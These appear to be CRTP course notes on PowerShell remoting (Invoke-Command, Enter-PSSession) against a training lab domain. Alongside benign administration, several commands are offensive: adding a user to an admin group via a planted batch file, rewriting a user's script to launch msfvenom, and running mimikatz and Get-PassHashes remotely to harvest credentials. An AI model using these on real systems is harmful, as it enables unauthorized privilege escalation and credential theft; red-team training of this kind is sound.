CRTP (Invoke-Command)

PowerShell Remoting

Connect to a PS-Session of a remote user

Enter-PSSession -Computername dcorp-adminsrv.dollarcorp.moneycorp.local

Execute Stateful commands using Enter-PSSession ( persistence )

$sess = New-PSSession -Computername dcorp-adminsrv.dollarcorp.moneycorp.local
Enter-PSSession -Session $sess

[dcorp-adminsrv.dollarcorp.moneycorp.local]:PS> $proc = Get-Process
[dcorp-adminsrv.dollarcorp.moneycorp.local]:PS> exit

Enter-PSSession -Session $sess

[dcorp-adminsrv.dollarcorp.moneycorp.local]:PS> proc
Will list current process

Execute Stateful commands using Invoke-Command ( persistence )

$sess = New-PSSession -Computername dcorp-adminsrv.dollarcorp.moneycorp.local
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}

Display allowed commands we can execute on remote machine

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}

Write File using ScriptBlock

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}

Edit file using ScriptBlock

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {((cat "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\msfvenom.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred

Command execution using command and ScriptBlock

Invoke-Command -computername computer-name -ConfigurationName dc_manage -credential $cred -command {whoami}
Invoke-Command -computername computer-name -ConfigurationName dc_manage -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername dcorp-adminsrv.dollarcorp.moneycorp.local -command {whoami}
Invoke-Command -computername dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock {whoami}

File execution using ScriptBlock

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}

File execution using FilePath

Invoke-Command -computername dcorp-adminsrv.dollarcorp.moneycorp.local -FilePath "C:\temp\mimikatz.exe"

Language Mode

Invoke-Command -computername dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}

Execute locally loaded function on the remote machines

Example : Hello.ps1

function hello
{
Write-Output "Hello from the function"
}

Now we can load the function on our machine

. .\Hello.ps1

Now we can execute the locally loaded functions

Invoke-Command -ScriptBlock ${function:hello} -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local

In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
ArgumentList

Directly load function on the remote machines using FilePath

$sess = New-PSSession -Computername dcorp-adminsrv.dollarcorp.moneycorp.local
Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
Enter-PSSession -Session $sess

[dcorp-adminsrv.dollarcorp.moneycorp.local]:PS> hello
Hello from the function